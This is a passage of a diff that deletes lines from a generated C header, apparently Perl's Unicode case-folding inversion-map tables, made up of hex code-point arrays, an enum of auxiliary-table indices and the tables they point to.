- 0x156, - 0x157, - 0x158, - 0x159, - 0x15A, - 0x15B, - 0x15C, - 0x15D, - 0x15E, - 0x15F, - 0x160, - 0x161, - 0x162, - 0x163, - 0x164, - 0x165, - 0x166, - 0x167, - 0x168, - 0x169, - 0x16A, - 0x16B, - 0x16C, - 0x16D, - 0x16E, - 0x16F, - 0x170, - 0x171, - 0x172, - 0x173, - 0x174, - 0x175, - 0x176, - 0x177, - 0x178, - 0x17A, - 0x17B, - 0x17C, - 0x17D, - 0x17E, - 0x17F, - 0x180, - 0x181, - 0x183, - 0x184, - 0x185, - 0x186, - 0x188, - 0x189, - 0x18C, - 0x18D, - 0x192, - 0x193, - 0x195, - 0x196, - 0x199, - 0x19A, - 0x19B, - 0x19E, - 0x19F, - 0x1A1, - 0x1A2, - 0x1A3, - 0x1A4, - 0x1A5, - 0x1A6, - 0x1A8, - 0x1A9, - 0x1AD, - 0x1AE, - 0x1B0, - 0x1B1, - 0x1B4, - 0x1B5, - 0x1B6, - 0x1B7, - 0x1B9, - 0x1BA, - 0x1BD, - 0x1BE, - 0x1BF, - 0x1C0, - 0x1C6, - 0x1C7, - 0x1C9, - 0x1CA, - 0x1CC, - 0x1CD, - 0x1CE, - 0x1CF, - 0x1D0, - 0x1D1, - 0x1D2, - 0x1D3, - 0x1D4, - 0x1D5, - 0x1D6, - 0x1D7, - 0x1D8, - 0x1D9, - 0x1DA, - 0x1DB, - 0x1DC, - 0x1DD, - 0x1DE, - 0x1DF, - 0x1E0, - 0x1E1, - 0x1E2, - 0x1E3, - 0x1E4, - 0x1E5, - 0x1E6, - 0x1E7, - 0x1E8, - 0x1E9, - 0x1EA, - 0x1EB, - 0x1EC, - 0x1ED, - 0x1EE, - 0x1EF, - 0x1F0, - 0x1F3, - 0x1F4, - 0x1F5, - 0x1F6, - 0x1F9, - 0x1FA, - 0x1FB, - 0x1FC, - 0x1FD, - 0x1FE, - 0x1FF, - 0x200, - 0x201, - 0x202, - 0x203, - 0x204, - 0x205, - 0x206, - 0x207, - 0x208, - 0x209, - 0x20A, - 0x20B, - 0x20C, - 0x20D, - 0x20E, - 0x20F, - 0x210, - 0x211, - 0x212, - 0x213, - 0x214, - 0x215, - 0x216, - 0x217, - 0x218, - 0x219, - 0x21A, - 0x21B, - 0x21C, - 0x21D, - 0x21E, - 0x21F, - 0x220, - 0x223, - 0x224, - 0x225, - 0x226, - 0x227, - 0x228, - 0x229, - 0x22A, - 0x22B, - 0x22C, - 0x22D, - 0x22E, - 0x22F, - 0x230, - 0x231, - 0x232, - 0x233, - 0x234, - 0x23C, - 0x23D, - 0x23F, - 0x241, - 0x242, - 0x243, - 0x247, - 0x248, - 0x249, - 0x24A, - 0x24B, - 0x24C, - 0x24D, - 0x24E, - 0x24F, - 0x250, - 0x251, - 0x252, - 0x253, - 0x254, - 0x255, - 0x256, - 0x258, - 0x259, - 0x25A, - 0x25B, - 0x25C, - 0x25D, - 0x260, - 0x261, - 0x262, - 0x263, - 0x264, - 0x265, - 0x266, - 0x267, - 0x268, - 0x269, - 0x26A, - 0x26B, - 0x26C, - 0x26D, - 0x26F, - 0x270, - 0x271, - 0x272, - 0x273, - 0x275, - 0x276, - 0x27D, - 0x27E, - 0x280, - 0x281, - 0x283, - 0x284, - 0x287, - 0x288, - 0x289, - 0x28A, - 0x28C, - 0x28D, - 0x292, - 0x293, - 0x29D, - 0x29E, - 0x29F, - 0x371, - 0x372, - 0x373, - 0x374, - 0x377, - 0x378, - 0x37B, - 0x37E, - 0x390, - 0x391, - 0x3AC, - 0x3AD, - 0x3B0, - 0x3B1, - 0x3B2, - 0x3B3, - 0x3B5, - 0x3B6, - 0x3B8, - 0x3B9, - 0x3BA, - 0x3BB, - 0x3BC, - 0x3BD, - 0x3C0, - 0x3C1, - 0x3C2, - 0x3C3, - 0x3C4, - 0x3C6, - 0x3C7, - 0x3C9, - 0x3CA, - 0x3CC, - 0x3CD, - 0x3CF, - 0x3D7, - 0x3D8, - 0x3D9, - 0x3DA, - 0x3DB, - 0x3DC, - 0x3DD, - 0x3DE, - 0x3DF, - 0x3E0, - 0x3E1, - 0x3E2, - 0x3E3, - 0x3E4, - 0x3E5, - 0x3E6, - 0x3E7, - 0x3E8, - 0x3E9, - 0x3EA, - 0x3EB, - 0x3EC, - 0x3ED, - 0x3EE, - 0x3EF, - 0x3F0, - 0x3F2, - 0x3F3, - 0x3F4, - 0x3F8, - 0x3F9, - 0x3FB, - 0x3FC, - 0x430, - 0x432, - 0x433, - 0x434, - 0x435, - 0x43E, - 0x43F, - 0x441, - 0x442, - 0x443, - 0x44A, - 0x44B, - 0x450, - 0x460, - 0x461, - 0x462, - 0x463, - 0x464, - 0x465, - 0x466, - 0x467, - 0x468, - 0x469, - 0x46A, - 0x46B, - 0x46C, - 0x46D, - 0x46E, - 0x46F, - 0x470, - 0x471, - 0x472, - 0x473, - 0x474, - 0x475, - 0x476, - 0x477, - 0x478, - 0x479, - 0x47A, - 0x47B, - 0x47C, - 0x47D, - 0x47E, - 0x47F, - 0x480, - 0x481, - 0x482, - 0x48B, - 0x48C, - 0x48D, - 0x48E, - 0x48F, - 0x490, - 0x491, - 0x492, - 0x493, - 0x494, - 0x495, - 0x496, - 0x497, - 0x498, - 0x499, - 0x49A, - 0x49B, - 0x49C, - 0x49D, - 0x49E, - 0x49F, - 0x4A0, - 0x4A1, - 0x4A2, - 0x4A3, - 0x4A4, - 0x4A5, - 0x4A6, - 0x4A7, - 0x4A8, - 0x4A9, - 0x4AA, - 0x4AB, - 0x4AC, - 0x4AD, - 0x4AE, - 0x4AF, - 0x4B0, - 0x4B1, - 0x4B2, - 0x4B3, - 0x4B4, - 0x4B5, - 0x4B6, - 0x4B7, - 0x4B8, - 0x4B9, - 0x4BA, - 0x4BB, - 0x4BC, - 0x4BD, - 0x4BE, - 0x4BF, - 0x4C0, - 0x4C2, - 0x4C3, - 0x4C4, - 0x4C5, - 0x4C6, - 0x4C7, - 0x4C8, - 0x4C9, - 0x4CA, - 0x4CB, - 0x4CC, - 0x4CD, - 0x4CE, - 0x4CF, - 0x4D0, - 0x4D1, - 0x4D2, - 0x4D3, - 0x4D4, - 0x4D5, - 0x4D6, - 0x4D7, - 0x4D8, - 0x4D9, - 0x4DA, - 0x4DB, - 0x4DC, - 0x4DD, - 0x4DE, - 0x4DF, - 0x4E0, - 0x4E1, - 0x4E2, - 0x4E3, - 0x4E4, - 0x4E5, - 0x4E6, - 0x4E7, - 0x4E8, - 0x4E9, - 0x4EA, - 0x4EB, - 0x4EC, - 0x4ED, - 0x4EE, - 0x4EF, - 0x4F0, - 0x4F1, - 0x4F2, - 0x4F3, - 0x4F4, - 0x4F5, - 0x4F6, - 0x4F7, - 0x4F8, - 0x4F9, - 0x4FA, - 0x4FB, - 0x4FC, - 0x4FD, - 0x4FE, - 0x4FF, - 0x500, - 0x501, - 0x502, - 0x503, - 0x504, - 0x505, - 0x506, - 0x507, - 0x508, - 0x509, - 0x50A, - 0x50B, - 0x50C, - 0x50D, - 0x50E, - 0x50F, - 0x510, - 0x511, - 0x512, - 0x513, - 0x514, - 0x515, - 0x516, - 0x517, - 0x518, - 0x519, - 0x51A, - 0x51B, - 0x51C, - 0x51D, - 0x51E, - 0x51F, - 0x520, - 0x521, - 0x522, - 0x523, - 0x524, - 0x525, - 0x526, - 0x527, - 0x528, - 0x529, - 0x52A, - 0x52B, - 0x52C, - 0x52D, - 0x52E, - 0x52F, - 0x530, - 0x561, - 0x587, - 0x13A0, - 0x13F0, - 0x13F6, - 0x1D79, - 0x1D7A, - 0x1D7D, - 0x1D7E, - 0x1E01, - 0x1E02, - 0x1E03, - 0x1E04, - 0x1E05, - 0x1E06, - 0x1E07, - 0x1E08, - 0x1E09, - 0x1E0A, - 0x1E0B, - 0x1E0C, - 0x1E0D, - 0x1E0E, - 0x1E0F, - 0x1E10, - 0x1E11, - 0x1E12, - 0x1E13, - 0x1E14, - 0x1E15, - 0x1E16, - 0x1E17, - 0x1E18, - 0x1E19, - 0x1E1A, - 0x1E1B, - 0x1E1C, - 0x1E1D, - 0x1E1E, - 0x1E1F, - 0x1E20, - 0x1E21, - 0x1E22, - 0x1E23, - 0x1E24, - 0x1E25, - 0x1E26, - 0x1E27, - 0x1E28, - 0x1E29, - 0x1E2A, - 0x1E2B, - 0x1E2C, - 0x1E2D, - 0x1E2E, - 0x1E2F, - 0x1E30, - 0x1E31, - 0x1E32, - 0x1E33, - 0x1E34, - 0x1E35, - 0x1E36, - 0x1E37, - 0x1E38, - 0x1E39, - 0x1E3A, - 0x1E3B, - 0x1E3C, - 0x1E3D, - 0x1E3E, - 0x1E3F, - 0x1E40, - 0x1E41, - 0x1E42, - 0x1E43, - 0x1E44, - 0x1E45, - 0x1E46, - 0x1E47, - 0x1E48, - 0x1E49, - 0x1E4A, - 0x1E4B, - 0x1E4C, - 0x1E4D, - 0x1E4E, - 0x1E4F, - 0x1E50, - 0x1E51, - 0x1E52, - 0x1E53, - 0x1E54, - 0x1E55, - 0x1E56, - 0x1E57, - 0x1E58, - 0x1E59, - 0x1E5A, - 0x1E5B, - 0x1E5C, - 0x1E5D, - 0x1E5E, - 0x1E5F, - 0x1E60, - 0x1E61, - 0x1E62, - 0x1E63, - 0x1E64, - 0x1E65, - 0x1E66, - 0x1E67, - 0x1E68, - 0x1E69, - 0x1E6A, - 0x1E6B, - 0x1E6C, - 0x1E6D, - 0x1E6E, - 0x1E6F, - 0x1E70, - 0x1E71, - 0x1E72, - 0x1E73, - 0x1E74, - 0x1E75, - 0x1E76, - 0x1E77, - 0x1E78, - 0x1E79, - 0x1E7A, - 0x1E7B, - 0x1E7C, - 0x1E7D, - 0x1E7E, - 0x1E7F, - 0x1E80, - 0x1E81, - 0x1E82, - 0x1E83, - 0x1E84, - 0x1E85, - 0x1E86, - 0x1E87, - 0x1E88, - 0x1E89, - 0x1E8A, - 0x1E8B, - 0x1E8C, - 0x1E8D, - 0x1E8E, - 0x1E8F, - 0x1E90, - 0x1E91, - 0x1E92, - 0x1E93, - 0x1E94, - 0x1E95, - 0x1E96, - 0x1E9E, - 0x1E9F, - 0x1EA1, - 0x1EA2, - 0x1EA3, - 0x1EA4, - 0x1EA5, - 0x1EA6, - 0x1EA7, - 0x1EA8, - 0x1EA9, - 0x1EAA, - 0x1EAB, - 0x1EAC, - 0x1EAD, - 0x1EAE, - 0x1EAF, - 0x1EB0, - 0x1EB1, - 0x1EB2, - 0x1EB3, - 0x1EB4, - 0x1EB5, - 0x1EB6, - 0x1EB7, - 0x1EB8, - 0x1EB9, - 0x1EBA, - 0x1EBB, - 0x1EBC, - 0x1EBD, - 0x1EBE, - 0x1EBF, - 0x1EC0, - 0x1EC1, - 0x1EC2, - 0x1EC3, - 0x1EC4, - 0x1EC5, - 0x1EC6, - 0x1EC7, - 0x1EC8, - 0x1EC9, - 0x1ECA, - 0x1ECB, - 0x1ECC, - 0x1ECD, - 0x1ECE, - 0x1ECF, - 0x1ED0, - 0x1ED1, - 0x1ED2, - 0x1ED3, - 0x1ED4, - 0x1ED5, - 0x1ED6, - 0x1ED7, - 0x1ED8, - 0x1ED9, - 0x1EDA, - 0x1EDB, - 0x1EDC, - 0x1EDD, - 0x1EDE, - 0x1EDF, - 0x1EE0, - 0x1EE1, - 0x1EE2, - 0x1EE3, - 0x1EE4, - 0x1EE5, - 0x1EE6, - 0x1EE7, - 0x1EE8, - 0x1EE9, - 0x1EEA, - 0x1EEB, - 0x1EEC, - 0x1EED, - 0x1EEE, - 0x1EEF, - 0x1EF0, - 0x1EF1, - 0x1EF2, - 0x1EF3, - 0x1EF4, - 0x1EF5, - 0x1EF6, - 0x1EF7, - 0x1EF8, - 0x1EF9, - 0x1EFA, - 0x1EFB, - 0x1EFC, - 0x1EFD, - 0x1EFE, - 0x1EFF, - 0x1F00, - 0x1F08, - 0x1F10, - 0x1F16, - 0x1F20, - 0x1F28, - 0x1F30, - 0x1F38, - 0x1F40, - 0x1F46, - 0x1F51, - 0x1F52, - 0x1F53, - 0x1F54, - 0x1F55, - 0x1F56, - 0x1F57, - 0x1F58, - 0x1F60, - 0x1F68, - 0x1F70, - 0x1F72, - 0x1F76, - 0x1F78, - 0x1F7A, - 0x1F7C, - 0x1F7E, - 0x1F80, - 0x1F88, - 0x1F90, - 0x1F98, - 0x1FA0, - 0x1FA8, - 0x1FB0, - 0x1FB2, - 0x1FB3, - 0x1FB4, - 0x1FBC, - 0x1FBD, - 0x1FC3, - 0x1FC4, - 0x1FCC, - 0x1FCD, - 0x1FD0, - 0x1FD2, - 0x1FD3, - 0x1FD4, - 0x1FE0, - 0x1FE2, - 0x1FE3, - 0x1FE4, - 0x1FE5, - 0x1FE6, - 0x1FF3, - 0x1FF4, - 0x1FFC, - 0x1FFD, - 0x214E, - 0x214F, - 0x2170, - 0x2180, - 0x2184, - 0x2185, - 0x24D0, - 0x24EA, - 0x2C30, - 0x2C5F, - 0x2C61, - 0x2C62, - 0x2C65, - 0x2C66, - 0x2C67, - 0x2C68, - 0x2C69, - 0x2C6A, - 0x2C6B, - 0x2C6C, - 0x2C6D, - 0x2C73, - 0x2C74, - 0x2C76, - 0x2C77, - 0x2C81, - 0x2C82, - 0x2C83, - 0x2C84, - 0x2C85, - 0x2C86, - 0x2C87, - 0x2C88, - 0x2C89, - 0x2C8A, - 0x2C8B, - 0x2C8C, - 0x2C8D, - 0x2C8E, - 0x2C8F, - 0x2C90, - 0x2C91, - 0x2C92, - 0x2C93, - 0x2C94, - 0x2C95, - 0x2C96, - 0x2C97, - 0x2C98, - 0x2C99, - 0x2C9A, - 0x2C9B, - 0x2C9C, - 0x2C9D, - 0x2C9E, - 0x2C9F, - 0x2CA0, - 0x2CA1, - 0x2CA2, - 0x2CA3, - 0x2CA4, - 0x2CA5, - 0x2CA6, - 0x2CA7, - 0x2CA8, - 0x2CA9, - 0x2CAA, - 0x2CAB, - 0x2CAC, - 0x2CAD, - 0x2CAE, - 0x2CAF, - 0x2CB0, - 0x2CB1, - 0x2CB2, - 0x2CB3, - 0x2CB4, - 0x2CB5, - 0x2CB6, - 0x2CB7, - 0x2CB8, - 0x2CB9, - 0x2CBA, - 0x2CBB, - 0x2CBC, - 0x2CBD, - 0x2CBE, - 0x2CBF, - 0x2CC0, - 0x2CC1, - 0x2CC2, - 0x2CC3, - 0x2CC4, - 0x2CC5, - 0x2CC6, - 0x2CC7, - 0x2CC8, - 0x2CC9, - 0x2CCA, - 0x2CCB, - 0x2CCC, - 0x2CCD, - 0x2CCE, - 0x2CCF, - 0x2CD0, - 0x2CD1, - 0x2CD2, - 0x2CD3, - 0x2CD4, - 0x2CD5, - 0x2CD6, - 0x2CD7, - 0x2CD8, - 0x2CD9, - 0x2CDA, - 0x2CDB, - 0x2CDC, - 0x2CDD, - 0x2CDE, - 0x2CDF, - 0x2CE0, - 0x2CE1, - 0x2CE2, - 0x2CE3, - 0x2CE4, - 0x2CEC, - 0x2CED, - 0x2CEE, - 0x2CEF, - 0x2CF3, - 0x2CF4, - 0x2D00, - 0x2D26, - 0x2D27, - 0x2D28, - 0x2D2D, - 0x2D2E, - 0xA641, - 0xA642, - 0xA643, - 0xA644, - 0xA645, - 0xA646, - 0xA647, - 0xA648, - 0xA649, - 0xA64A, - 0xA64B, - 0xA64C, - 0xA64D, - 0xA64E, - 0xA64F, - 0xA650, - 0xA651, - 0xA652, - 0xA653, - 0xA654, - 0xA655, - 0xA656, - 0xA657, - 0xA658, - 0xA659, - 0xA65A, - 0xA65B, - 0xA65C, - 0xA65D, - 0xA65E, - 0xA65F, - 0xA660, - 0xA661, - 0xA662, - 0xA663, - 0xA664, - 0xA665, - 0xA666, - 0xA667, - 0xA668, - 0xA669, - 0xA66A, - 0xA66B, - 0xA66C, - 0xA66D, - 0xA66E, - 0xA681, - 0xA682, - 0xA683, - 0xA684, - 0xA685, - 0xA686, - 0xA687, - 0xA688, - 0xA689, - 0xA68A, - 0xA68B, - 0xA68C, - 0xA68D, - 0xA68E, - 0xA68F, - 0xA690, - 0xA691, - 0xA692, - 0xA693, - 0xA694, - 0xA695, - 0xA696, - 0xA697, - 0xA698, - 0xA699, - 0xA69A, - 0xA69B, - 0xA69C, - 0xA723, - 0xA724, - 0xA725, - 0xA726, - 0xA727, - 0xA728, - 0xA729, - 0xA72A, - 0xA72B, - 0xA72C, - 0xA72D, - 0xA72E, - 0xA72F, - 0xA730, - 0xA733, - 0xA734, - 0xA735, - 0xA736, - 0xA737, - 0xA738, - 0xA739, - 0xA73A, - 0xA73B, - 0xA73C, - 0xA73D, - 0xA73E, - 0xA73F, - 0xA740, - 0xA741, - 0xA742, - 0xA743, - 0xA744, - 0xA745, - 0xA746, - 0xA747, - 0xA748, - 0xA749, - 0xA74A, - 0xA74B, - 0xA74C, - 0xA74D, - 0xA74E, - 0xA74F, - 0xA750, - 0xA751, - 0xA752, - 0xA753, - 0xA754, - 0xA755, - 0xA756, - 0xA757, - 0xA758, - 0xA759, - 0xA75A, - 0xA75B, - 0xA75C, - 0xA75D, - 0xA75E, - 0xA75F, - 0xA760, - 0xA761, - 0xA762, - 0xA763, - 0xA764, - 0xA765, - 0xA766, - 0xA767, - 0xA768, - 0xA769, - 0xA76A, - 0xA76B, - 0xA76C, - 0xA76D, - 0xA76E, - 0xA76F, - 0xA770, - 0xA77A, - 0xA77B, - 0xA77C, - 0xA77D, - 0xA77F, - 0xA780, - 0xA781, - 0xA782, - 0xA783, - 0xA784, - 0xA785, - 0xA786, - 0xA787, - 0xA788, - 0xA78C, - 0xA78D, - 0xA791, - 0xA792, - 0xA793, - 0xA794, - 0xA797, - 0xA798, - 0xA799, - 0xA79A, - 0xA79B, - 0xA79C, - 0xA79D, - 0xA79E, - 0xA79F, - 0xA7A0, - 0xA7A1, - 0xA7A2, - 0xA7A3, - 0xA7A4, - 0xA7A5, - 0xA7A6, - 0xA7A7, - 0xA7A8, - 0xA7A9, - 0xA7AA, - 0xA7B5, - 0xA7B6, - 0xA7B7, - 0xA7B8, - 0xAB53, - 0xAB54, - 0xFB05, - 0xFB06, - 0xFB07, - 0xFF41, - 0xFF5B, - 0x10428, - 0x10450, - 0x104D8, - 0x104FC, - 0x10CC0, - 0x10CF3, - 0x118C0, - 0x118E0, - 0x1E922 -}; - -/* Negative enum values indicate the need to use an auxiliary table - * consisting of the list of enums this one expands to. The absolute - * values of the negative enums are indices into a table of the auxiliary - * tables' addresses */ -typedef enum { - IVCF_0 = 0, - IVCF_use_AUX_TABLE_1 = -1, - IVCF_use_AUX_TABLE_2 = -2, - IVCF_use_AUX_TABLE_3 = -3, - IVCF_use_AUX_TABLE_4 = -4, - IVCF_use_AUX_TABLE_5 = -5, - IVCF_use_AUX_TABLE_6 = -6, - IVCF_use_AUX_TABLE_7 = -7, - IVCF_use_AUX_TABLE_8 = -8, - IVCF_use_AUX_TABLE_9 = -9, - IVCF_use_AUX_TABLE_10 = -10, - IVCF_use_AUX_TABLE_11 = -11, - IVCF_use_AUX_TABLE_12 = -12, - IVCF_use_AUX_TABLE_13 = -13, - IVCF_use_AUX_TABLE_14 = -14, - IVCF_use_AUX_TABLE_15 = -15, - IVCF_use_AUX_TABLE_16 = -16, - IVCF_use_AUX_TABLE_17 = -17, - IVCF_use_AUX_TABLE_18 = -18, - IVCF_use_AUX_TABLE_19 = -19, - IVCF_use_AUX_TABLE_20 = -20, - IVCF_use_AUX_TABLE_21 = -21, - IVCF_use_AUX_TABLE_22 = -22, - IVCF_use_AUX_TABLE_23 = -23, - IVCF_use_AUX_TABLE_24 = -24, - IVCF_use_AUX_TABLE_25 = -25, - IVCF_use_AUX_TABLE_26 = -26, - IVCF_use_AUX_TABLE_27 = -27 -} IVCF_enum; - -#define HAS_IVCF_AUX_TABLES - -static const unsigned int IVCF_AUX_TABLE_1[] = { - 0x4B, - 0x212A -}; - -static const unsigned int IVCF_AUX_TABLE_2[] = { - 0x53, - 0x17F -}; - -static const unsigned int IVCF_AUX_TABLE_3[] = { - 0xC5, - 0x212B -}; - -static const unsigned int IVCF_AUX_TABLE_4[] = { - 0x1C4, - 0x1C5 -}; - -static const unsigned int IVCF_AUX_TABLE_5[] = { - 0x1C7, - 0x1C8 -}; - -static const unsigned int IVCF_AUX_TABLE_6[] = { - 0x1CA, - 0x1CB -}; - -static const unsigned int IVCF_AUX_TABLE_7[] = { - 0x1F1, - 0x1F2 -}; - -static const unsigned int IVCF_AUX_TABLE_8[] = { - 0x392, - 0x3D0 -}; - -static const unsigned int IVCF_AUX_TABLE_9[] = { - 0x395, - 0x3F5 -}; - -static const unsigned int IVCF_AUX_TABLE_10[] = { - 0x398, - 0x3D1, - 0x3F4 -}; - -static const unsigned int IVCF_AUX_TABLE_11[] = { - 0x345, - 0x399, - 0x1FBE -}; - -static const unsigned int IVCF_AUX_TABLE_12[] = { - 0x39A, - 0x3F0 -}; - -static const unsigned int IVCF_AUX_TABLE_13[] = { - 0xB5, - 0x39C -}; - -static const unsigned int IVCF_AUX_TABLE_14[] = { - 0x3A0, - 0x3D6 -}; - -static const unsigned int IVCF_AUX_TABLE_15[] = { - 0x3A1, - 0x3F1 -}; - -static const unsigned int IVCF_AUX_TABLE_16[] = { - 0x3A3, - 0x3C2 -}; - -static const unsigned int IVCF_AUX_TABLE_17[] = { - 0x3A6, - 0x3D5 -}; - -static const unsigned int IVCF_AUX_TABLE_18[] = { - 0x3A9, - 0x2126 -}; - -static const unsigned int IVCF_AUX_TABLE_19[] = { - 0x412, - 0x1C80 -}; - -static const unsigned int IVCF_AUX_TABLE_20[] = { - 0x414, - 0x1C81 -}; - -static const unsigned int IVCF_AUX_TABLE_21[] = { - 0x41E, - 0x1C82 -}; - -static const unsigned int IVCF_AUX_TABLE_22[] = { - 0x421, - 0x1C83 -}; - -static const unsigned int IVCF_AUX_TABLE_23[] = { - 0x422, - 0x1C84, - 0x1C85 -}; - -static const unsigned int IVCF_AUX_TABLE_24[] = { - 0x42A, - 0x1C86 -}; - -static const unsigned int IVCF_AUX_TABLE_25[] = { - 0x462, - 0x1C87 -}; - -static const unsigned int IVCF_AUX_TABLE_26[] = { - 0x1E60, - 0x1E9B -}; - -static const unsigned int IVCF_AUX_TABLE_27[] = { - 0x1C88, - 0xA64A -}; - -static const unsigned int * const IVCF_AUX_TABLE_ptrs[] = { - NULL, /* Placeholder */ - IVCF_AUX_TABLE_1, - IVCF_AUX_TABLE_2, - IVCF_AUX_TABLE_3, - IVCF_AUX_TABLE_4, - IVCF_AUX_TABLE_5, - IVCF_AUX_TABLE_6, - IVCF_AUX_TABLE_7, - IVCF_AUX_TABLE_8, - IVCF_AUX_TABLE_9, - IVCF_AUX_TABLE_10, - IVCF_AUX_TABLE_11, - IVCF_AUX_TABLE_12, - IVCF_AUX_TABLE_13, - IVCF_AUX_TABLE_14, - IVCF_AUX_TABLE_15, - IVCF_AUX_TABLE_16, - IVCF_AUX_TABLE_17, - IVCF_AUX_TABLE_18, - IVCF_AUX_TABLE_19, - IVCF_AUX_TABLE_20, - IVCF_AUX_TABLE_21, - IVCF_AUX_TABLE_22, - IVCF_AUX_TABLE_23, - IVCF_AUX_TABLE_24, - IVCF_AUX_TABLE_25, - IVCF_AUX_TABLE_26, - IVCF_AUX_TABLE_27 -}; - -/* Parallel table to the above, giving the number of elements in each table - * pointed to */ -static const U8 IVCF_AUX_TABLE_lengths[] = { - 0, /* Placeholder */ - 2 /* IVCF_AUX_TABLE_1 */, - 2 /* IVCF_AUX_TABLE_2 */, - 2 /* IVCF_AUX_TABLE_3 */, - 2 /* IVCF_AUX_TABLE_4 */, - 2 /* IVCF_AUX_TABLE_5 */, - 2 /* IVCF_AUX_TABLE_6 */, - 2 /* IVCF_AUX_TABLE_7 */, - 2 /* IVCF_AUX_TABLE_8 */, - 2 /* IVCF_AUX_TABLE_9 */, - 3 /* IVCF_AUX_TABLE_10 */, - 3 /* IVCF_AUX_TABLE_11 */, - 2 /* IVCF_AUX_TABLE_12 */, - 2 /* IVCF_AUX_TABLE_13 */, - 2 /* IVCF_AUX_TABLE_14 */, - 2 /* IVCF_AUX_TABLE_15 */, - 2 /* IVCF_AUX_TABLE_16 */, - 2 /* IVCF_AUX_TABLE_17 */, - 2 /* IVCF_AUX_TABLE_18 */, - 2 /* IVCF_AUX_TABLE_19 */, - 2 /* IVCF_AUX_TABLE_20 */, - 2 /* IVCF_AUX_TABLE_21 */, - 2 /* IVCF_AUX_TABLE_22 */, - 3 /* IVCF_AUX_TABLE_23 */, - 2 /* IVCF_AUX_TABLE_24 */, - 2 /* IVCF_AUX_TABLE_25 */, - 2 /* IVCF_AUX_TABLE_26 */, - 2 /* IVCF_AUX_TABLE_27 */ -}; - -static const int _Perl_IVCF_invmap[] = { /* for ASCII/Latin1 */ - 0, - 0x41, - IVCF_use_AUX_TABLE_1, - 0x4C, - IVCF_use_AUX_TABLE_2, - 0x54, - 0, - 0x1E9E, - 0xC0, - IVCF_use_AUX_TABLE_3, - 0xC6, - 0, - 0xD8, - 0x178, - 0, - 0x100, - 0, - 0x102, - 0, - 0x104, - 0, - 0x106, - 0, - 0x108, - 0, - 0x10A, - 0, - 0x10C, - 0, - 0x10E, - 0, - 0x110, - 0, - 0x112, - 0, - 0x114, - 0, - 0x116, - 0, - 0x118, - 0, - 0x11A, - 0, - 0x11C, - 0, - 0x11E, - 0, - 0x120, - 0, - 0x122, - 0, - 0x124, - 0, - 0x126, - 0, - 0x128, - 0, - 0x12A, - 0, - 0x12C, - 0, - 0x12E, - 0, - 0x132, - 0, - 0x134, - 0, - 0x136, - 0, - 0x139, - 0, - 0x13B, - 0, - 0x13D, - 0, - 0x13F, - 0, - 0x141, - 0, - 0x143, - 0, - 0x145, - 0, - 0x147, - 0, - 0x14A, - 0, - 0x14C, - 0, - 0x14E, - 0, - 0x150, - 0, - 0x152, - 0, - 0x154, - 0, - 0x156, - 0, - 0x158, - 0, - 0x15A, - 0, - 0x15C, - 0, - 0x15E, - 0, - 0x160, - 0, - 0x162, - 0, - 0x164, - 0, - 0x166, - 0, - 0x168, - 0, - 0x16A, - 0, - 0x16C, - 0, - 0x16E, - 0, - 0x170, - 0, - 0x172, - 0, - 0x174, - 0, - 0x176, - 0, - 0x179, - 0, - 0x17B, - 0, - 0x17D, - 0, - 0x243, - 0, - 0x182, - 0, - 0x184, - 0, - 0x187, - 0, - 0x18B, - 0, - 0x191, - 0, - 0x1F6, - 0, - 0x198, - 0x23D, - 0, - 0x220, - 0, - 0x1A0, - 0, - 0x1A2, - 0, - 0x1A4, - 0, - 0x1A7, - 0, - 0x1AC, - 0, - 0x1AF, - 0, - 0x1B3, - 0, - 0x1B5, - 0, - 0x1B8, - 0, - 0x1BC, - 0, - 0x1F7, - 0, - IVCF_use_AUX_TABLE_4, - 0, - IVCF_use_AUX_TABLE_5, - 0, - IVCF_use_AUX_TABLE_6, - 0, - 0x1CD, - 0, - 0x1CF, - 0, - 0x1D1, - 0, - 0x1D3, - 0, - 0x1D5, - 0, - 0x1D7, - 0, - 0x1D9, - 0, - 0x1DB, - 0x18E, - 0, - 0x1DE, - 0, - 0x1E0, - 0, - 0x1E2, - 0, - 0x1E4, - 0, - 0x1E6, - 0, - 0x1E8, - 0, - 0x1EA, - 0, - 0x1EC, - 0, - 0x1EE, - 0, - IVCF_use_AUX_TABLE_7, - 0, - 0x1F4, - 0, - 0x1F8, - 0, - 0x1FA, - 0, - 0x1FC, - 0, - 0x1FE, - 0, - 0x200, - 0, - 0x202, - 0, - 0x204, - 0, - 0x206, - 0, - 0x208, - 0, - 0x20A, - 0, - 0x20C, - 0, - 0x20E, - 0, - 0x210, - 0, - 0x212, - 0, - 0x214, - 0, - 0x216, - 0, - 0x218, - 0, - 0x21A, - 0, - 0x21C, - 0, - 0x21E, - 0, - 0x222, - 0, - 0x224, - 0, - 0x226, - 0, - 0x228, - 0, - 0x22A, - 0, - 0x22C, - 0, - 0x22E, - 0, - 0x230, - 0, - 0x232, - 0, - 0x23B, - 0, - 0x2C7E, - 0, - 0x241, - 0, - 0x246, - 0, - 0x248, - 0, - 0x24A, - 0, - 0x24C, - 0, - 0x24E, - 0x2C6F, - 0x2C6D, - 0x2C70, - 0x181, - 0x186, - 0, - 0x189, - 0, - 0x18F, - 0, - 0x190, - 0xA7AB, - 0, - 0x193, - 0xA7AC, - 0, - 0x194, - 0, - 0xA78D, - 0xA7AA, - 0, - 0x197, - 0x196, - 0xA7AE, - 0x2C62, - 0xA7AD, - 0, - 0x19C, - 0, - 0x2C6E, - 0x19D, - 0, - 0x19F, - 0, - 0x2C64, - 0, - 0x1A6, - 0, - 0x1A9, - 0, - 0xA7B1, - 0x1AE, - 0x244, - 0x1B1, - 0x245, - 0, - 0x1B7, - 0, - 0xA7B2, - 0xA7B0, - 0, - 0x370, - 0, - 0x372, - 0, - 0x376, - 0, - 0x3FD, - 0, - 0x1FD3, - 0, - 0x386, - 0x388, - 0x1FE3, - 0x391, - IVCF_use_AUX_TABLE_8, - 0x393, - IVCF_use_AUX_TABLE_9, - 0x396, - IVCF_use_AUX_TABLE_10, - IVCF_use_AUX_TABLE_11, - IVCF_use_AUX_TABLE_12, - 0x39B, - IVCF_use_AUX_TABLE_13, - 0x39D, - IVCF_use_AUX_TABLE_14, - IVCF_use_AUX_TABLE_15, - 0, - IVCF_use_AUX_TABLE_16, - 0x3A4, - IVCF_use_AUX_TABLE_17, - 0x3A7, - IVCF_use_AUX_TABLE_18, - 0x3AA, - 0x38C, - 0x38E, - 0, - 0x3CF, - 0, - 0x3D8, - 0, - 0x3DA, - 0, - 0x3DC, - 0, - 0x3DE, - 0, - 0x3E0, - 0, - 0x3E2, - 0, - 0x3E4, - 0, - 0x3E6, - 0, - 0x3E8, - 